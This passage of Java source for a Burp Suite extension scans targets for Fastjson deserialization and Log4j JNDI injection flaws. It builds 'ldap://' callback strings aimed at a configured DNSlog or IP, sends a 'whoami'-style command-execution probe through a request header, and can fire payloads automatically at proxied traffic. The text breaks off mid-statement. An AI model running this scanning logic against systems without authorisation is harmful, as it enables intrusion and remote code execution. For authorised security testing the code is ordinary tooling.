= new JTabbedPane(); HRequestTextEditor = Utils.callbacks.createMessageEditor(FastjsonUI.this, true); fastjsonreq.addTab("Request", HRequestTextEditor.getComponent()); fastjsonresp = new JTabbedPane(); HResponseTextEditor = Utils.callbacks.createMessageEditor(FastjsonUI.this, false); fastjsonresp.addTab("Response", HResponseTextEditor.getComponent()); splitPaneDown.setLeftComponent(fastjsonreq); splitPaneDown.setRightComponent(fastjsonresp); // 添加splitPaneDown到mainsplitPane的下边 mainsplitPane.setBottomComponent(splitPaneDown); panel.add(mainsplitPane, BorderLayout.CENTER); } @Override public JPanel getPanel(IBurpExtenderCallbacks callbacks) { return panel; } @Override public String getTabName() { return "Fastjson"; } // dnslog检测 public void CheckDnslog(IHttpRequestResponse[] responses) { lock.lock(); try{ IHttpRequestResponse baseRequestResponse = responses[0]; IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); String extensionMethod = analyzeRequest.getMethod(); URL dnsurl = analyzeRequest.getUrl(); String url = analyzeRequest.getUrl().toString(); List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); String res = "dnslog检测,请查看dnslog服务器"; IHttpService iHttpService = baseRequestResponse.getHttpService(); for (FastjsonBean fastjson : dnsPayloads) { String fastjsonDnslog = fastjson.getValue(); String dnslogPayload = Utils.generateDnsPayload(dnsurl, dnslog); String fuzzPayload = fastjsonDnslog.replace("FUZZ", dnslogPayload); String jsonPayload = JsonUtils.encodeToJsonRandom(fuzzPayload); byte[] bytePayload = Utils.helpers.stringToBytes(jsonPayload); byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage); IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse()); String statusCode = String.valueOf(iResponseInfo.getStatusCode()); add(extensionMethod, url, statusCode, res, fuzzPayload,resp); } }finally { lock.unlock(); } } // echo命令检测 public void CheckEchoVul(IHttpRequestResponse[] responses) { lock.lock(); try{ IHttpRequestResponse baseRequestResponse = responses[0]; IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); String extensionMethod = analyzeRequest.getMethod(); String url = analyzeRequest.getUrl().toString(); List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); // 弹出一个输入框,用于获取用户输入的dnslog地址 String defaultValue = "whoami"; String echoVul = (String) JOptionPane.showInputDialog(null, I18nUtils.get("fastjson.message.enter_echo"), I18nUtils.get("config.title.info"), JOptionPane.PLAIN_MESSAGE, null, null, defaultValue); if (echoVul == null){ JOptionPane.showMessageDialog(null, I18nUtils.get("fastjson.message.enter_echo"), I18nUtils.get("config.title.info"), JOptionPane.ERROR_MESSAGE); return; } IHttpService iHttpService = baseRequestResponse.getHttpService(); Iterator iterator = echoPayloads.iterator(); headers.add("Accept-Cache: " + echoVul); while (iterator.hasNext()) { FastjsonBean fastjson = iterator.next(); String fastjsonEcho = fastjson.getValue(); byte[] bytePayload = Utils.helpers.stringToBytes(fastjsonEcho); byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage); IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse()); String statusCode = String.valueOf(iResponseInfo.getStatusCode()); List headersResp = iResponseInfo.getHeaders(); boolean containsContentAuth = false; for (String header : headersResp) { if (header.contains("Content-auth")) { containsContentAuth = true; break; } } if (containsContentAuth) { add(extensionMethod, url, statusCode, "echo命令检测完成,发现结果",fastjsonEcho, resp); IScanIssue issues = null; try { issues = new CustomScanIssue(iHttpService, new URL(url), new IHttpRequestResponse[]{resp}, "Fastjson echo", "Fastjson echo命令检测完成,发现结果", "High", "Certain"); Utils.callbacks.addScanIssue(issues); } catch (MalformedURLException e) { throw new RuntimeException(e); } } else { add(extensionMethod, url, statusCode, "echo命令检测完成,未发现结果",fastjsonEcho, resp); } } }finally { lock.unlock(); } } // jndi检测 public void CheckJNDIVul(IHttpRequestResponse[] responses) { lock.lock(); try { IHttpRequestResponse baseRequestResponse = responses[0]; IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); String extensionMethod = analyzeRequest.getMethod(); String url = analyzeRequest.getUrl().toString(); List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); try { String jndiStr = ""; String defaultValue = "IP"; // 设置默认值 String[] options = {"DNS", "IP"}; // 单选框选项 String selectedValue = (String) JOptionPane.showInputDialog(null, I18nUtils.get("fastjson.dialog.select_type"), I18nUtils.get("fastjson.dialog.tip"), JOptionPane.PLAIN_MESSAGE, null, options, defaultValue); if (Objects.equals(selectedValue, "DNS")) { jndiStr = dnslog; } if (Objects.equals(selectedValue, "IP")) { jndiStr = ip; } IHttpService iHttpService = baseRequestResponse.getHttpService(); for (FastjsonBean payload : jndiPayloads) { String dnslogKey = ""; String fastjsonJNDI = payload.getValue(); String id = String.valueOf(payload.getId()); if (selectedValue.equals("DNS")) { dnslogKey = "ldap://" + id + "." + jndiStr; } else { dnslogKey = "ldap://" + jndiStr + "/" + id; } String fuzzPayload = fastjsonJNDI.replace("FUZZ", dnslogKey); String jsonPayload = JsonUtils.encodeToJsonRandom(fuzzPayload); byte[] bytePayload = Utils.helpers.stringToBytes(jsonPayload); byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage); IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse()); String statusCode = String.valueOf(iResponseInfo.getStatusCode()); add(extensionMethod, url, statusCode, "jndi检测完成,请查看服务器",fuzzPayload, resp); } } catch (Exception e) { Utils.stderr.println(e.getMessage()); } }finally { lock.unlock(); } } // version检测 public void CheckVersion(IHttpRequestResponse[] responses) { lock.lock(); try{ IHttpRequestResponse baseRequestResponse = responses[0]; IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); String extensionMethod = analyzeRequest.getMethod(); String url = analyzeRequest.getUrl().toString(); List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); IHttpService iHttpService = baseRequestResponse.getHttpService(); for (FastjsonBean fastjson : versionPayloads) { String fastjsonVersion = fastjson.getValue(); byte[] bytePayload = Utils.helpers.stringToBytes(fastjsonVersion); byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage); IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse()); String statusCode = String.valueOf(iResponseInfo.getStatusCode()); add(extensionMethod, url, statusCode, "version检测完成,请查看返回包",fastjsonVersion, resp); } }finally { lock.unlock(); } } // 添加日志 private static void add(String extensionMethod, String url, String status, String res,String req, IHttpRequestResponse baseRequestResponse) { synchronized (fastjsonlog) { int id = fastjsonlog.size(); fastjsonlog.add(new FastjsonEntry(id, extensionMethod, url, status, res,req, baseRequestResponse)); // 只保留refreshTable即可,删除updateUI if(autoRefresh) { refreshTable(); } } } public static void setAutoRefresh(boolean value) { synchronized (refreshLock) { autoRefresh = value; } } @Override public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) { // 只处理被动扫描启用、响应包、且来自代理或Spider的请求 if (!isPassiveScanEnabled || messageIsRequest || (toolFlag != IBurpExtenderCallbacks.TOOL_PROXY && toolFlag != IBurpExtenderCallbacks.TOOL_SPIDER)) { return; } IRequestInfo requestInfo = Utils.helpers.analyzeRequest(messageInfo); URL infoUrl = requestInfo.getUrl(); String url = requestInfo.getUrl().toString(); String method = requestInfo.getMethod(); List headers = requestInfo.getHeaders(); // 检查是否为静态资源 if (Utils.isUrlBlackListSuffix(url)) { return; } // 检查是否重复 if (!UrlCacheUtil.checkUrlUnique("fastjson", method, infoUrl, new ArrayList<>())) { return; } // 检查是否为POST请求且Content-Type为JSON if (!"POST".equalsIgnoreCase(method)) { return; } boolean isJson = false; for (String header : headers) { if (header.toLowerCase().contains("content-type") && header.toLowerCase().contains("application/json")) { isJson = true; break; } } if (!isJson) { return; } // 进行Fastjson被动扫描测试 performPassiveScan(messageInfo); } // 执行被动扫描测试 private void performPassiveScan(IHttpRequestResponse baseRequestResponse) { try { IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); String url = analyzeRequest.getUrl().toString(); String method = analyzeRequest.getMethod(); List headers = analyzeRequest.getHeaders(); IHttpService httpService = baseRequestResponse.getHttpService(); URL dnsurl = analyzeRequest.getUrl(); // 使用dnslog payload进行测试 for (FastjsonBean fastjson : dnsPayloads) { String fastjsonDnslog = fastjson.getValue(); String dnslogPayload = Utils.generateDnsPayload(dnsurl, dnslog); String fuzzPayload = fastjsonDnslog.replace("FUZZ", dnslogPayload); String jsonPayload = JsonUtils.encodeToJsonRandom(fuzzPayload); byte[] bytePayload = Utils.helpers.stringToBytes(jsonPayload); byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(httpService, postMessage); IResponseInfo responseInfo = Utils.helpers.analyzeResponse(resp.getResponse()); String statusCode = String.valueOf(responseInfo.getStatusCode()); // 记录扫描结果 add(method, url, statusCode, "被动扫描DNS检测", fuzzPayload, resp); } } catch (Exception e) { Utils.stderr.println("Passive scan error: " + e.getMessage()); } } private static class FastjsonModel extends AbstractTableModel { @Override public int getRowCount() { synchronized (fastjsonlog) { return fastjsonlog.size(); } } @Override public int getColumnCount() { return 6; } @Override public Object getValueAt(int rowIndex, int columnIndex) { synchronized (fastjsonlog) { if (rowIndex >= 0 && rowIndex < fastjsonlog.size()) { FastjsonEntry logEntry = fastjsonlog.get(rowIndex); switch (columnIndex) { case 0: return logEntry.id; case 1: return logEntry.extensionMethod; case 2: return logEntry.url; case 3: return logEntry.status; case 4: return logEntry.res; case 5: return logEntry.req; default: return ""; } } return ""; } } @Override public String getColumnName(int column) { switch (column) { case 0: return "id"; case 1: return "method"; case 2: return "url"; case 3: return "status"; case 4: return "res"; case 5: return "req"; default: return ""; } } } private static class FastjsonEntry { final int id; final String extensionMethod; final String url; final String status; final String res; final String req; final IHttpRequestResponse requestResponse; private FastjsonEntry(int id, String extensionMethod, String url, String status, String res,String req, IHttpRequestResponse requestResponse) { this.id = id; this.extensionMethod = extensionMethod; this.url = url; this.status = status; this.res = res; this.req = req; this.requestResponse = requestResponse; } } private class URLTable extends JTable { public URLTable(TableModel tableModel) { super(tableModel); TableColumnModel columnModel = getColumnModel(); columnModel.getColumn(0).setMaxWidth(50); columnModel.getColumn(5).setMaxWidth(250); } @Override public void changeSelection(int row, int col, boolean toggle, boolean extend) { FastjsonEntry logEntry = fastjsonlog.get(row); HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true); if (logEntry.requestResponse.getResponse() == null) { HResponseTextEditor.setMessage(new byte[0], false); } else { HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false); } currentlyDisplayedItem = logEntry.requestResponse; super.changeSelection(row, col, toggle, extend); } } } ================================================ FILE: src/main/java/burp/ui/Log4jUI.java ================================================ package burp.ui; import burp.*; import burp.bean.Log4jBean; import burp.ui.UIHepler.GridBagConstraintsHelper; import burp.utils.I18nUtils; import burp.utils.JsonUtils; import burp.utils.Utils; import burp.utils.UrlCacheUtil; import com.alibaba.fastjson.JSON; import javax.swing.*; import javax.swing.table.AbstractTableModel; import javax.swing.table.TableColumnModel; import javax.swing.table.TableModel; import java.awt.*; import java.awt.event.ActionEvent; import java.net.URL; import java.util.List; import java.util.*; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLock; import static burp.IParameter.*; import static burp.dao.ConfigDao.getConfig; import static burp.dao.Log4jDao.*; /** * @Author Xm17 * @Date 2024-06-22 12:45 */ public class Log4jUI implements UIHandler, IMessageEditorController, IHttpListener { private JPanel panel; // 主面板 private static JTable log4jtable; // log4j表格 private JCheckBox passiveScanCheckBox; // 被动扫描选择框 private JCheckBox originalValueCheckBox; // 原始payload值选择框 private JCheckBox checkHeaderCheckBox; // 检测header选择框 private JCheckBox isDnsOrIpCheckBox; // 是否是dns或者ip选择框 private JCheckBox checkWhiteListCheckBox; // 白名单域名检测选择框 private JCheckBox checkParmamCheckBox; // 检测参数选择框 private JButton saveWhiteListButton; // 保存白名单域名按钮 private JButton saveHeaderListButton; // 保存header按钮 private JButton savePayloadButton; // 保存log4j payload按钮 private JButton refreshTableButton; // 刷新表格按钮 private JButton clearTableButton;// 清空表格按钮 private JTextArea whiteListTextArea; // 白名单域名输入框 private JTextArea headerTextArea; // header输入框 private JTextArea payloadTextArea; // payload输入框 private JTabbedPane tabbedPanereq; // 请求tab private JTabbedPane tabbedPaneresp; // 响应tab private JScrollPane urltablescrollpane; // url table scroll pane private IHttpRequestResponse currentlyDisplayedItem; // currently displayed item private IMessageEditor HRequestTextEditor; // request editor private IMessageEditor HResponseTextEditor; // response editor private static final List log4jlog = new ArrayList<>(); private static final List parameterList = new ArrayList<>(); // 参数列表 private static final List urlHashList = new ArrayList<>(); // url hash list private static boolean isPassiveScan; // 是否是被动扫描 private static boolean isOriginalValue; // 是否删除原始值 private static boolean isCheckHeader; // 是否检测header private static boolean isCheckParam; // 是否检测参数 private static boolean isDnsOrIp; // 是否是dns或者ip private static boolean isCheckWhiteList; // 是否检测白名单 private static Set log4jPayload = new LinkedHashSet<>(); // 存储log4j payload private static List payloadList = new ArrayList<>(); // payload列表 private static List domainList = new ArrayList<>(); // 白名单域名 private static List headerList = new ArrayList<>(); // header列表 public static String dns; public static String ip; private static final Lock lock = new ReentrantLock(); public static void resetAllCaches() { urlHashList.clear(); parameterList.clear(); UrlCacheUtil.resetCache("log4j"); } @Override public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse iHttpRequestResponse) { if (isPassiveScan && toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && !messageIsRequest) { synchronized (log4jlog) { Thread thread = new Thread(new Runnable() { @Override public void run() { Check(new IHttpRequestResponse[]{iHttpRequestResponse},false); } }); thread.start(); } } } @Override public IHttpService getHttpService() { return currentlyDisplayedItem.getHttpService(); } @Override public byte[] getRequest() { return currentlyDisplayedItem.getRequest(); } @Override public byte[] getResponse() { return currentlyDisplayedItem.getResponse(); } @Override public void init() { // 存储白名单域名 List domain = getLog4jListsByType("domain"); // 将domain转为List for (Log4jBean log4jBean : domain) { domainList.add(log4jBean.getValue()); } dns = getConfig("config", "dnslog").getValue(); ip = getConfig("config", "ip").getValue(); setupUI(); setupData(); } // 初始化数据 private void setupData() { // 被动扫描选择框 passiveScanCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (passiveScanCheckBox.isSelected()) { isPassiveScan = true; } else { isPassiveScan = false; } } }); // 原始payload值选择框 originalValueCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (originalValueCheckBox.isSelected()) { isOriginalValue = true; } else { isOriginalValue = false; } } }); // 检测header选择框 checkHeaderCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (checkHeaderCheckBox.isSelected()) { isCheckHeader = true; } else { isCheckHeader = false; } } }); // 检测参数选择框 checkParmamCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (checkParmamCheckBox.isSelected()) { isCheckParam = true; } else { isCheckParam = false; } } }); // 是否是dns或者ip选择框 isDnsOrIpCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { dns = getConfig("config", "dnslog").getValue(); ip = getConfig("config", "ip").getValue(); if (isDnsOrIpCheckBox.isSelected()) { isDnsOrIp = true; isDnsOrIpCheckBox.setText("DNS"); } else { isDnsOrIp = false; isDnsOrIpCheckBox.setText("IP"); } } }); // 初始化白名单输入框 List domain = getLog4jListsByType("domain"); for (Log4jBean log4jBean : domain) { whiteListTextArea.setText(whiteListTextArea.getText() + log4jBean.getValue() + "\n"); domainList.add(log4jBean.getValue()); } // 初始化header输入框 List header = getLog4jListsByType("header"); for (Log4jBean log4jBean : header) { headerTextArea.setText(headerTextArea.getText() + log4jBean.getValue() + "\n"); headerList.add(log4jBean.getValue()); } // 初始化payload输入框 List payload = getLog4jListsByType("payload"); for (Log4jBean log4jBean : payload) { payloadTextArea.setText(payloadTextArea.getText() + log4jBean.getValue() + "\n"); payloadList.add(log4jBean.getValue()); } // 检测白名单选择框 checkWhiteListCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (checkWhiteListCheckBox.isSelected()) { isCheckWhiteList = true; } else { isCheckWhiteList = false; } } }); // 保存白名单域名按钮 saveWhiteListButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { String whiteListTextAreaText = whiteListTextArea.getText(); deleteLog4jByType("domain"); // 如果包含换行符,就分割成多个domain if (whiteListTextAreaText.contains("\n")) { String[] split = whiteListTextAreaText.split("\n"); for (String s : split) { Log4jBean log4jBean = new Log4jBean("domain", s); saveLog4j(log4jBean); } } else { Log4jBean log4jBean = new Log4jBean("domain", whiteListTextAreaText); saveLog4j(log4jBean); } // 存储白名单域名 List domain = getLog4jListsByType("domain"); // 将domain转为List for (Log4jBean log4jBean : domain) { domainList.add(log4jBean.getValue()); } whiteListTextArea.updateUI(); JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); } }); // 保存header按钮 saveHeaderListButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { String headerTextAreaText = headerTextArea.getText(); deleteLog4jByType("header"); String[] split = headerTextAreaText.split("\n"); for (String s : split) { Log4jBean log4jBean = new Log4jBean("header", s); saveLog4j(log4jBean); } List header = getLog4jListsByType("header"); for (Log4jBean log4jBean : header) { headerList.add(log4jBean.getValue()); } headerTextArea.updateUI(); JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); } }); // 保存payload按钮 savePayloadButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { String payloadTextAreaText = payloadTextArea.getText(); deleteLog4jByType("payload"); String[] split = payloadTextAreaText.split("\n"); for (String s : split) { Log4jBean log4jBean = new Log4jBean("payload", s); saveLog4j(log4jBean); } List payload = getLog4jListsByType("payload"); for (Log4jBean log4jBean : payload) { payloadList.add(log4jBean.getValue()); } payloadTextArea.updateUI(); JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); } }); // 刷新表格 refreshTableButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { log4jtable.updateUI(); } }); // 清空表格 clearTableButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { log4jlog.clear(); HRequestTextEditor.setMessage(new byte[0], true); HResponseTextEditor.setMessage(new byte[0], false); urlHashList.clear(); UrlCacheUtil.resetCache("log4j"); // 清空URL缓存 log4jtable.updateUI(); } }); } // 初始化UI private void setupUI() { // 注册被动扫描监听器 Utils.callbacks.registerHttpListener(this); panel = new JPanel(); panel.setLayout(new BorderLayout()); JPanel splitPane = new JPanel(new BorderLayout()); // 左边的面板 // 左边的上下按7:3分割 JSplitPane leftSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); leftSplitPane.setResizeWeight(0.7); leftSplitPane.setDividerLocation(0.7); // 左边的上面是表格 urltablescrollpane = new JScrollPane(); log4jtable = new URLTable(new Log4jModel()); urltablescrollpane.setViewportView(log4jtable); leftSplitPane.setTopComponent(urltablescrollpane); // 左边的下面是消息编辑器 tabbedPanereq = new JTabbedPane(); tabbedPaneresp = new JTabbedPane(); HRequestTextEditor = Utils.callbacks.createMessageEditor(this, false); HResponseTextEditor = Utils.callbacks.createMessageEditor(this, false); tabbedPanereq.addTab("Request", HRequestTextEditor.getComponent()); tabbedPaneresp.addTab("Response", HResponseTextEditor.getComponent()); JSplitPane leftDownSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); leftDownSplitPane.setResizeWeight(0.5); leftDownSplitPane.setDividerLocation(0.5); leftDownSplitPane.setLeftComponent(tabbedPanereq); leftDownSplitPane.setRightComponent(tabbedPaneresp); leftSplitPane.setBottomComponent(leftDownSplitPane); // 右边的面板 // 右边的上下按7:3分割 JSplitPane rightSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); rightSplitPane.setResizeWeight(0.7); rightSplitPane.setDividerLocation(0.7); // 右边的上部分 - 重新设计布局 // 添加被动扫描选择框 passiveScanCheckBox = new JCheckBox(I18nUtils.get("log4j.checkbox.passive")); // 添加删除原始值选择框 originalValueCheckBox = new JCheckBox(I18nUtils.get("log4j.checkbox.original")); // 添加检测cookie选择框 checkParmamCheckBox = new JCheckBox(I18nUtils.get("log4j.checkbox.params")); // 添加检测header选择框 checkHeaderCheckBox = new JCheckBox(I18nUtils.get("log4j.checkbox.headers")); // 添加白名单域名检测选择框 checkWhiteListCheckBox = new JCheckBox(I18nUtils.get("log4j.checkbox.whitelist")); isDnsOrIpCheckBox = new JCheckBox(I18nUtils.get("log4j.checkbox.dns_ip")); // 白名单域名保存按钮 saveWhiteListButton = new JButton(I18nUtils.get("log4j.button.save_whitelist")); // 保存header按钮 saveHeaderListButton = new JButton(I18nUtils.get("log4j.button.save_header")); // 白名单域名输入框列表 whiteListTextArea = new JTextArea(5,10); whiteListTextArea.setLineWrap(false); // 自动换行 whiteListTextArea.setWrapStyleWord(false); // 按单词换行 JScrollPane whiteListTextAreascrollPane = new JScrollPane(whiteListTextArea); // header检测数据框列表 headerTextArea = new JTextArea(5,10); headerTextArea.setLineWrap(false); // 自动换行 headerTextArea.setWrapStyleWord(false); // 按单词换行 JScrollPane headerTextAreascrollPane = new JScrollPane(headerTextArea); // 刷新表格按钮 refreshTableButton = new JButton(I18nUtils.get("log4j.button.refresh")); // 清空表格按钮 clearTableButton = new JButton(I18nUtils.get("log4j.button.clear")); // 白名单域名label JLabel whiteDomainListLabel = new JLabel(I18nUtils.get("log4j.label.whitelist")); // 检测header label JLabel headerLabel = new JLabel(I18nUtils.get("log4j.label.header")); // 添加到右边的上部分 - 重新设计布局 JPanel rightTopPanel = new JPanel(); rightTopPanel.setLayout(new BorderLayout()); rightTopPanel.setBorder(BorderFactory.createEmptyBorder(5, 5, 5, 5)); // 创建扫描选项面板 JPanel scanOptionsPanel = new JPanel(); scanOptionsPanel.setLayout(new GridLayout(2, 3, 5, 5)); scanOptionsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("log4j.border.scan_options"))); scanOptionsPanel.add(passiveScanCheckBox); scanOptionsPanel.add(originalValueCheckBox); scanOptionsPanel.add(checkParmamCheckBox); scanOptionsPanel.add(checkHeaderCheckBox); scanOptionsPanel.add(checkWhiteListCheckBox); scanOptionsPanel.add(isDnsOrIpCheckBox); // 创建配置面板 JPanel configPanel = new JPanel(); configPanel.setLayout(new BorderLayout(5, 5)); configPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("log4j.border.configuration"))); // 白名单域名配置 JPanel whitelistPanel = new JPanel(new BorderLayout(5, 5)); whitelistPanel.add(whiteDomainListLabel, BorderLayout.NORTH); whitelistPanel.add(whiteListTextAreascrollPane, BorderLayout.CENTER); JPanel whitelistButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT)); whitelistButtonPanel.add(saveWhiteListButton); whitelistPanel.add(whitelistButtonPanel, BorderLayout.SOUTH); // Header检测配置 JPanel headerPanel = new JPanel(new BorderLayout(5, 5)); headerPanel.add(headerLabel, BorderLayout.NORTH); headerPanel.add(headerTextAreascrollPane, BorderLayout.CENTER); JPanel headerButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT)); headerButtonPanel.add(saveHeaderListButton); headerPanel.add(headerButtonPanel, BorderLayout.SOUTH); // 将白名单和Header配置放入分割面板 JSplitPane configSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); configSplitPane.setResizeWeight(0.5); configSplitPane.setDividerLocation(0.5); configSplitPane.setTopComponent(whitelistPanel); configSplitPane.setBottomComponent(headerPanel); configPanel.add(configSplitPane, BorderLayout.CENTER); // 创建操作按钮面板 JPanel actionButtonsPanel = new JPanel(new FlowLayout(FlowLayout.LEFT, 5, 5)); actionButtonsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get("log4j.border.actions"))); actionButtonsPanel.add(refreshTableButton); actionButtonsPanel.add(clearTableButton); // 将所有面板放入主面板 JSplitPane mainRightSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); mainRightSplitPane.setResizeWeight(0.3); mainRightSplitPane.setDividerLocation(0.3); mainRightSplitPane.setTopComponent(scanOptionsPanel); JPanel configAndActionsPanel = new JPanel(new BorderLayout(5, 5)); configAndActionsPanel.add(configPanel, BorderLayout.CENTER); configAndActionsPanel.add(actionButtonsPanel, BorderLayout.SOUTH); mainRightSplitPane.setBottomComponent(configAndActionsPanel); rightTopPanel.add(mainRightSplitPane, BorderLayout.CENTER); rightSplitPane.setTopComponent(rightTopPanel); // 右边的下部分左边 // log4j payload label JLabel PayloadLabel = new JLabel(I18nUtils.get("log4j.label.payload")); // log4j payload输入框 // log4j payload保存按钮 payloadTextArea = new JTextArea(5,10); payloadTextArea.setLineWrap(false); // 自动换行 payloadTextArea.setWrapStyleWord(false); // 按单词换行 JScrollPane payloadTextAreascrollPane = new JScrollPane(payloadTextArea); savePayloadButton = new JButton(I18nUtils.get("log4j.button.save_payload")); JPanel rightDownLeftPanel = new JPanel(); rightDownLeftPanel.setLayout(new BorderLayout(5, 5)); rightDownLeftPanel.setBorder(BorderFactory.createEmptyBorder(5, 5, 5, 5)); rightDownLeftPanel.add(PayloadLabel, BorderLayout.NORTH); rightDownLeftPanel.add(payloadTextAreascrollPane, BorderLayout.CENTER); JPanel payloadButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT)); payloadButtonPanel.add(savePayloadButton); rightDownLeftPanel.add(payloadButtonPanel, BorderLayout.SOUTH); // 左右分割面板添加rightDownLeftPanel和rightDownRightPanel JPanel rightDownPanel = new JPanel(new BorderLayout()); rightDownPanel.add(rightDownLeftPanel, BorderLayout.CENTER); rightSplitPane.setBottomComponent(rightDownPanel); // 添加到splitPane splitPane.add(leftSplitPane, BorderLayout.CENTER); splitPane.add(rightSplitPane, BorderLayout.EAST); panel.add(splitPane, BorderLayout.CENTER); } @Override public JPanel getPanel(IBurpExtenderCallbacks callbacks) { return panel; } @Override public String getTabName() { return "Log4jScan"; } // 添加数据 public static void add(String extensionMethod, String url, String status, String res, IHttpRequestResponse baseRequestResponse) { synchronized (log4jlog) { int id = log4jlog.size(); log4jlog.add(new Log4jEntry(id, extensionMethod, url, status, res, baseRequestResponse)); log4jtable.updateUI(); } } // 获取请求包的tag private static String getReqTag(IHttpRequestResponse baseRequestResponse, IRequestInfo req, String type) { // 获取并处理URI String uri = req.getHeaders().get(0).split(" ")[1].split("\\?")[0].replace("/", "."); // 如果URI超过25个字符,截取并处理结尾的点号 if (uri.length() > 25) { uri = uri.substring(0, 25); if (uri.endsWith(".")) { uri = uri.substring(0, uri.length() - 1); } } // 处理URI末尾的点号 if (uri.endsWith(".")) { uri = uri.substring(0, uri.length() - 1); } // 构建最终标签 String tag = req.getMethod() + "." + baseRequestResponse.getHttpService().getHost() + uri; return "dns".equalsIgnoreCase(type) ? tag + "." : tag; } // 检测核心方法 public static void Check(IHttpRequestResponse[] messageInfo, boolean isSend) { lock.lock(); try{ IHttpRequestResponse baseRequestResponse = messageInfo[0]; IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); List reqheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); String method = analyzeRequest.getMethod(); String host = baseRequestResponse.getHttpService().getHost(); URL rdurlURL = analyzeRequest.getUrl(); String url = analyzeRequest.getUrl().toString(); List paraLists = analyzeRequest.getParameters(); // 如果method不是get或者post方式直接返回 if (!method.equals("GET") && !method.equals("POST")) { return; } // url 中匹配为静态资源 if (Utils.isUrlBlackListSuffix(url)){ return; } // 如果没有开启检测参数和检测header 并且参数没有值 直接返回 if (!isCheckParam && !isCheckHeader) { return; } // 判断参数类型,不符合的直接跳过检测 boolean ruleHit = true; // 默认设置为true,表示命中规则 for (IParameter para : paraLists) { if ((para.getType() == PARAM_URL || para.getType() == PARAM_BODY || para.getType() == PARAM_JSON) || isCheckHeader) { ruleHit = false; // 如果有 URL、BODY、JSON 参数或者开启了header 检测,则不命中规则 break; } } if (ruleHit) { return; // 如果命中规则,则直接返回 } // 如果不是手动发送则需要进行url去重 if (!isSend) { if (!UrlCacheUtil.checkUrlUnique("log4j", method, rdurlURL, paraLists)) { return; } }else { isCheckWhiteList = false; } if (isCheckWhiteList) { // 如果未匹配到 直接返回 if (!Utils.isMatchDomainName(host,domainList)){ return; } } // 加入payload前先清空列表 log4jPayload.clear(); // 将数据库中的payload加入到列表 for (String log4j : payloadList) { if (isOriginalValue) { log4jPayload.add(log4j); } else { if (log4j.contains("dnslog-url")) { if (isDnsOrIp) { String logPrefix = getReqTag(baseRequestResponse, analyzeRequest, "dns"); // 新增:为log4j dnslog payload加前缀 String log4jDnslogPayload = logPrefix + "log4j." + dns; log4jPayload.add(log4j.replace("dnslog-url", log4jDnslogPayload)); } else { String logPrefix = getReqTag(baseRequestResponse, analyzeRequest, "ip"); // 新增:为log4j ip 